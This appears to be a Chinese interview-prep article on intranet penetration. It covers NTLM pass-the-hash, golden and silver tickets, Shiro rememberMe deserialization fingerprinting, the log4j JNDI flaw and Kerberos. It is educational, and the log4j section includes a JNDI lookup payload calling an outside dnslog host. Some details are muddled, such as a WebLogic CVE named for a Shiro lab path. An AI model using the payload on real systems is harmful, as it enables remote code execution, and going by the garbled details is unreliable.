内网渗透面试问题

news2024/11/16 0:27:19

文章目录

  • 1、熟悉哪些域渗透的手段
  • 2、详细说明哈希传递的攻击原理
    • NTLM认证流程
    • 哈希传递
  • 3、聊一下黄金票据和白银票据
  • 4、shiro反序列化漏洞的形成原因,尝试使用burp抓包查看返回包内容
    • 安装环境
    • 漏洞验证
  • 5、log4j组件的命令执行漏洞是如何造成的
  • 6、画图描述Kerberos协议的通信流程并解释如何实现安全的传输

1、熟悉哪些域渗透的手段

​ 黄金票据、白银票据、哈希传递

2、详细说明哈希传递的攻击原理

哈希传递只针对相同密码进行攻击。

NTLM认证流程

NTLM加密:

  • admin -> hex(16进制编码)= 61646d696e
  • 61646d696e-> Unicode =610064006d0069006e00
  • 610064006d0069006e00–>MD4=209c6174da490caeb422f3fa5a7ae634

认证过程:

在这里插入图片描述

注意:challenge每次认证都不一样,是一个随机生成的16字节随机数,response的形势与server生成的net-ntlm
hash一个格式

如上图,客户端client发送一个user用户名给服务器server,服务器从内存中检查它的用户名user是否存在,不存在,登录失败;存在,就生成一个challenge,然后服务器会查找内存中user对应的已经NTLM加密后的哈希密文(加密的是user的密码,假设是admin),并使用该哈希加密challenge(与challenge做逻辑运算),这个加密后的challenge就叫做net-ntlm hash,作为密码已经加密的标志保存到服务器内存中

然后服务器会将challenge发送给客户端,客户端将自己的密码转换成NTLM哈希,用生成的哈希加密challenge,这个加密后的challenge叫做response,然后客户端将response发送给服务器。

最后服务器对比自己内存中的net-ntlm hash与客户端发来的response是否一致,如果一致,就登录成功。

在这个过程中,即使response被攻击者捕获,也不能被伪造,保证了通信的安全。

哈希传递

当攻击者知道一台计算机的本地管理员的NTLM哈希,那么他可以使用这个哈希轻松地对该计算机进行身份验证。类似地,如果他拥有主机上本地管理组成员的域用户的NT哈希,他也可以作为本地管理员向该主机进行身份验证。

如下图,域中一台计算机沦陷,因为其他工作站都具有相同的管理员帐户和相同的密码,那么它们也将具有相同的NT哈希,攻击者就能用它的NTML哈希验证其他的服务器:

在这里插入图片描述

3、聊一下黄金票据和白银票据

黄金票据是伪造的TGT,白银票据就是伪造的ST。黄金票据是伪造了域管理员身份票据的TGT,白银票据伪造的是服务的票据ST,黄金票据可以访问它身份下的所有服务,白银票据只能访问被伪造服务票据ST的服务。

4、shiro反序列化漏洞的形成原因,尝试使用burp抓包查看返回包内容

形成原因

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

安装环境

进入vulhb目录下的weblogic,复现CVE-2018-2894漏洞:

cd /vulhub/shiro/CVE-2010-3863

查看docker-compose的配置文件:

cat docker-compose.yml

如图,里面有一个镜像文件的信息和服务名,以及它的端口号(后面要用):

在这里插入图片描述

然后使用下面命令,搭建docker-compose并启动:

sudo docker-compose up -d && sudo docker-compose up -d

如图,安装成功:

在这里插入图片描述

漏洞验证

原理如下

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

用bp自带的浏览器打开http://10.9.75.45:8080/,随意输入用户名密码并勾选记住我

在这里插入图片描述

点击登录后抓包,发送到repeat模块,发现请求包中有rememberme字段:

在这里插入图片描述

点击send发送,响应包中有set-cookie字段,并有rememberMe=deleteMe内容,这是一个shiro反序列化漏洞的强特征,说明有极大的可能存在shiro反序列化:

在这里插入图片描述

5、log4j组件的命令执行漏洞是如何造成的

log4j(log for Java)是Apache的一个开源项目,是一个基于Java的日志记录框架。该漏洞的主要原因是log4j在日志输出中,未对字符合法性进行严格的限制,执行了JNDI协议加载的远程恶意脚本,从而造成RCE。

它是一个RCE命令执行的漏洞,它的日志的输出如下:print函数双引号中的内容会被当做字符处理

$user=$_GET("user");
log.print(“用户$user登录失败”);

如果print函数中出现如${jndi:ldap://lof4ot.dnslog.cn/exp}的内容,就会将大括号中的内容当做命令执行

如果流量中遇到下面三个关键字,极大可能是Java的漏洞攻击:

rmi、jndi、ldap

6、画图描述Kerberos协议的通信流程并解释如何实现安全的传输

DC(Domain Controller):域控制器,是域中一台拥有最高管理权限的计算机

AD(Active Directory):活动目录数据库

KDC(Key Distributed Centre):包含了AS和TGS。

AS(Authentication Server):身份验证服务,为客户生成TGT的服务

TGS(Ticket GrantingServer):票证发放服务器,通过你的TGT来发放ST

TGT(Ticket Granting Ticket):票据授权票据,通过票据授权票据可以获得一个票据,类似临时凭证

ST(Service Ticket):服务票据

如下图,客户端首先向AS发送请求,AS提供TGT身份票据给客户端,客户端得到TGT后去访问TGS,由TGS发放服务票据ST,最后客户端用ST去访问服务端,服务端给客户端回应:

在这里插入图片描述

详解:

1、客户端发送自己的用户名给AS

2、AS验证用户名是否在白名单列表,如果在的话随机生成session key(as)返回如下信息

TGT1(session key(as),TGS服务器信息等)–客户端NTLM哈希加密

TGT2(session key(as),客户端信息等)–KRBTGT NTLM哈希加密(KRBTGT可以理解为DC中最高权限的用户)

3、用自己的NTLM哈希解密TGT1, 获得TGS服务器信息以及session key(as),TGT2由于是别人的哈希,所以解不开。

生成认证因子(客户端信息,当前时间)–session key(as)加密(认证因子用来验证TGT是否正确

发送认证因子以及TGT2给TGS服务

4、TGS服务先解密TGT2获得session key(as),紧接着利用session key(as)解密认证因子,对比认证因子与TGT2的客户端信息是否一致,如果一致生成session key(TGS),返回如下信息给客户端

TGT3(session key(TGS),服务器信息,票据到期时间)–session key(as)加密

TGT4(session key(TGS),客户端信息,票据到期时间)–客户端想要访问的服务器的哈希加密

5、客户端解密TGT3,得到session key(TGS),服务器信息

生成认证因子2(服务器信息,票据到期时间)–session key(TGS)加密

发送认证因子2以及TGT4给服务器

6、服务器先用自己的哈希解密TGT4得到session key(TGS),客户端信息,票据有效期

利用session key(TGS)解密认证因子对比客户端信息(验证ST是否正确)决定是否提供服务

以下图的邮件服务为例:

客户端向域控DC中的AS发送请求,AS生成一个session key(身份令牌),session key(as)分别保存在TGT1和TGT2两个身份票据做临时凭证中(其中TGT1用客户端的哈希加密,TGT2用最高管理用户的哈希加密),AS将session key(as)发给客户端,客户端用自己的NTLM哈希解密TGT1得到TGS服务器信息(TGT2无法被客户端解密),然后用session key(as)加密生成一个认证因子作为TGT2的证明。

然后客户端将认证因子以及TGT2发给TGS服务,TGS解密TGT2得到session key(as),解密认证因子并与认证因子做对比,如果一致则生成session key(TGS),返回TGT3和TGT4给客户端,TG3被session key(as)加密,由于之前客户端接收到了session key(as),所以可以解密TGT3得到服务器信息,解密后客户端再次生成一个认证因子作为TGT4的证明。

最后客户端将认证因子及TGT4发送给邮件服务,邮件服务用哈希解密TGT4得到session key(TGS),用它解密认证因子对比客户端信息,正确则提供服务。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1078544.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue 组件拖拽vue-slicksort应用

1.引入 import { SlickList, SlickItem, HandleDirective } from vue-slicksort 2.注册组件 components: {SlickList,SlickItem}, 3.应用<slick-listv-model"formData.goods"axis"xy":use-drag-handle"true"input"slickListSort"so…

vue3 添加水印效果

效果图 水印组件 <template><div class"elementdiv" ref"waterMarkRef"><slot></slot></div> </template><script setup> import { ref, onMounted, nextTick } from "vue"; import Watermark from …

Mock工具之Moco使用

一、什么是Mock mock英文单词有愚弄、嘲笑、模拟的意思&#xff0c;这里主要是模拟的意思 二、什么是Moco 开源的、基于java开发的一个mock框架支持http、https、socket等协议 三、Mock的特点 只需要简单的配置request、response等即可满足要求 支持在request 中设置headers、…

【Ceph Block Device】块设备挂载使用

文章目录 前言创建pool创建user创建image列出image检索image信息调整image大小增加image大小减少image大小 删除image从pool中删除image从pool中“延迟删除”image从pool中移除“延迟删除的image” 恢复image恢复指定pool中延迟删除的image恢复并重命名image 映射块设备格式化i…

Rockchip RK3399 - linux下抓取usb数据包

---------------------------------------------------------------------------------------------------------------------------- 开发板 &#xff1a;NanoPC-T4开发板eMMC &#xff1a;16GBLPDDR3 &#xff1a;4GB 显示屏 &#xff1a;15.6英寸HDMI接口显示屏u-boot &…

03黑马店评-添加商户缓存和商户类型的缓存到Redis

商户查询缓存 什么是缓存 实际开发过程中数据量可以达到几千万,缓存可以作为避震器防止过高的数据访问猛冲系统,避免系统内的操作线程无法及时处理信息而瘫痪 缓存(Cache)就是数据交换的缓冲区(储存临时数据的地方),我们俗称的"缓存"实际就是缓冲区内的数据(一般从…

L14D6内核模块编译方法

一、内核模块基础代码解析 一个内核模块代码错误仍然会导致的内核崩溃。 GPL协议&#xff1a;开源规定&#xff0c;使用内核一些函数需要 1、单内核的缺点 单内核扩展性差的缺点减小内核镜像文件体积&#xff0c;一定程度上节省内存资源提高开发效率不能彻底解决稳定性低的缺…

香港鼎鑫鸿鄴:紧跟国家新能源政策,制定合理发展规划

由于全球环境的变化以及环境的需要,世界上的许多资源企业正在努力研究和开发新的、更好的绿色产品和服务,并且取得了一系列的突破和成果——其中最为瞩目的是新能源领域的发展与革新。随着我国经济的快速发展,人民生活水平的不断提高,对清洁能源的需求日益增长,同时也带动了新能…

python 定时器

需求 我想在某一时刻完成某个任务,需要一个定时计划 调研了几种方式都不是很理想. 参考,python实现定时任务的8种方式详解 选择使用 apscheduler 库吧 APScheduler简介 APScheduler是Python的一个定时任务框架&#xff0c;用于执行周期或者定时任务&#xff0c;该框架不仅可以…

【数据结构】二叉树遍历的实现(超详细解析,小白必看系列)

目录 一、前言 &#x1f34e;为何使用链式二叉树 &#x1f350;何为链式二叉树 &#x1f349;二叉树的构建 &#x1f4a6;创建二叉链结构 &#x1f4a6;手动构建一颗树 &#x1f353;二叉树的遍历 &#xff08;重点&#xff09; &#x1f4a6;前序遍历 &#x1f4a6;中…

二维码智慧门牌管理系统:提升小区管理的智能化水平

文章目录 前言一、二维码智慧门牌管理系统简介二、精准的门牌定位三、门牌编号优化三、更多特点四、未来展望 前言 随着科技的不断发展&#xff0c;智能化管理已经深入到我们生活的方方面面&#xff0c;而小区作为我们居住的重要场所&#xff0c;智能化管理更是必不可少。为了…

警惕!外贸常见的一些骗局!

随着网络技术和国际支付的普及&#xff0c;外贸汇款骗局也是时常发生&#xff0c;本文将列举外贸汇款骗局的常见套路和风险提示&#xff0c;以帮助广大外贸人更好地护好自己的“钱袋子”。 常见套路 1.钓鱼 出口商与买家的订单已经谈妥&#xff0c;把收款信息通过邮件发给买家…

【重拾C语言】七、指针(二)指针与数组(用指针标识数组、多维数组与指针、数组指针与指针数组)

目录 前言 七、指针 7.1~3 指针与变量、指针操作、指向指针的指针 7.4 指针与数组 7.4.1 用指针标识数组 7.4.2 应注意的问题 a. 数组名是指针常量 b. 指针变量的当前值 c. 数组超界 7.4.3 多维数组与指针 7.4.4 指针数组 a. 指针数组 b. 数组指针 c. 对比总结 前…

bash上下键选择选项demo脚本

效果如下&#xff1a; 废话不多说&#xff0c;上代码&#xff1a; #!/bin/bashoptions("111" "222" "333" "444") # 选项列表 options_index0 # 默认选中第一个选项 options_len${#options[]}echo "请用上下方向键进行选择&am…

【多线程案例】Java实现简单定时器(Timer)

1.定时器&#xff08;Timer&#xff09; 1.什么是定时器&#xff1f; 在日常生活中,如果我们想要在 t 时间 后去做一件重要的事情,那么为了防止忘记,我们就可以使用闹钟的计时器功能,它会在 t 时间后执行任务&#xff08;响铃&#xff09;提醒我们去执行这件事情. — 这就是J…

【数据结构-队列 二】【单调队列】滑动窗口最大值

废话不多说&#xff0c;喊一句号子鼓励自己&#xff1a;程序员永不失业&#xff0c;程序员走向架构&#xff01;本篇Blog的主题是【单调队列】&#xff0c;使用【队列】这个基本的数据结构来实现&#xff0c;这个高频题的站点是&#xff1a;CodeTop&#xff0c;筛选条件为&…

Springboot整合Druid:数据库密码加密的实现

ps:Springboot项目&#xff0c;为了防止某些人反编译看到yml里面的数据库密码&#xff0c;对密码进行加密处理&#xff0c;隐藏公钥形式。&#xff08;总有人想扒掉你的底裤看看你屁股长什么样&#xff09; 1.引入依赖&#xff08;以前有依赖就不用了&#xff09; 2.找到Druid…

你想知道的测试自动化-概览篇

测试自动化概念整理 协议 JSON Wire Protocol Specification JSON Wire 协议 现已过时的开源协议的端点和有效负载&#xff0c;它是W3C webdriver的先驱。 devtool协议 Chrome DevTools 协议允许使用工具来检测、检查、调试和分析 Chromium、Chrome 和其他基于 Blink 的浏…

轻松驾驭Hive数仓,数据分析从未如此简单!

1 前言 先通过SparkSession read API从分布式文件系统创建DataFrame 然后&#xff0c;创建临时表并使用SQL或直接使用DataFrame API&#xff0c;进行数据转换、过滤、聚合等操作 最后&#xff0c;再用SparkSession的write API把计算结果写回分布式文件系统 直接与文件系统交…

MyLife - Docker安装Redis

Docker安装Redis 个人觉得像reids之类的基础设施在线上环境直接物理机安装使用可能会好些。但是在开发测试环境用docker容器还是比较方便的。这里学习下docker安装redis使用。 1. Redis 镜像库地址 Redis 镜像库地址&#xff1a;https://hub.docker.com/_/redis/tags 这里是官方…